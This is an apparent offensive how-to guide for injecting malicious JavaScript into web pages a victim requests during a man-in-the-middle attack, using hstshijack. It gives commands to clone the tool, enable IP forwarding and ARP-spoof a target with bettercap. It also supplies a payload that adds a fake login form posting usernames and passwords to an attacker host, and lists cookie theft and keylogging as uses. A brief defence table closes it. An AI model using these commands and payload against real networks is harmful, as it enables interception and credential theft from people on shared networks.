

Code Injection using hstshijack (HTTPS Hijack) is an advanced method of **injecting malicious code (usually JavaScript)** into web pages that **victims request** — typically during a **Man-in-the-Middle (MITM)** attack — by hijacking HTTP connections (when HTTPS is not enforced or HSTS is not applied properly).

What is hstshijack?

hstshijack is a tool that exploits **weak or misconfigured HTTP-to-HTTPS transitions**, allowing an attacker to:

- Intercept HTTP requests
- Strip HTTPS redirects
- Inject **JavaScript payloads** (such as fake login forms, browser exploits, or session stealers)

Prerequisites

Requirement	Tool / Setup
OS	Kali Linux
Tool	hstshijack
Target	HTTP-based site or misconfigured HTTPS
MITM	You must already be in MITM position (ARP spoofing, etc.)
IP Forwarding	Enabled on attacker machine

Setup & Step-by-Step Process

1 Install hstshijack (if not present)

```
git clone https://github.com/LionSec/hstshijack.git
cd hstshijack
chmod +x hstshijack
```

2 Prepare Your JavaScript Payload

Create a simple malicious script (inject.js) that gets injected into the HTTP page:

```
javascript

// inject.js (malicious JS)
alert("Hacked by Code Injection!");
document.body.innerHTML += `
<form action='http://attacker-ip/capture' method='POST'>
  <input type='text' name='username' placeholder='Enter your username'>
  <input type='password' name='password' placeholder='Enter your password'>
  <input type='submit'>
```

```
</form>
`;
```

Place this file in your web server directory:

```
sudo cp inject.js /var/www/html/
sudo service apache2 start
```

3 Setup IP Forwarding

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

4 Start ARP Spoofing (Optional)

```
bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.5; arp.spoof on"
```

5 Run hstshijack

```
sudo ./hstshijack -i eth0 -r 192.168.1.5 -j http://192.168.1.100/inject.js
```

- -i eth0 = interface
- -r = target IP (victim)
- -j = JavaScript payload path (served from your Apache server)

Now, any **HTTP** request the victim makes (e.g., <http://example.com>) will get **injected** with your JavaScript file.

💡 How It Works Internally

1. Victim sends HTTP request (before being upgraded to HTTPS).
2. Attacker (you) intercepts this and responds **with altered HTML + your script tag**.
3. The victim's browser loads your **JavaScript payload**.
4. The payload can:
 - Show fake forms
 - Steal cookies
 - Redirect to phishing site
 - Log keystrokes, etc.

📁 Example Injected Script (as HTML Response)

Injected by hstshijack:

```
<script src="http://192.168.1.100/inject.js"></script>
```

🛡️ How to Protect Against This

Defense Mechanism	Description
🔒 HSTS	Enforces HTTPS strictly, blocks downgrade
✅ HTTPS Everywhere	Browser plugin enforcing HTTPS

 DNS over HTTPS (DoH) Prevents MITM DNS tampering

 Disable open Wi-Fi Avoid rogue access points

 IDS/IPS monitoring Detects MITM activities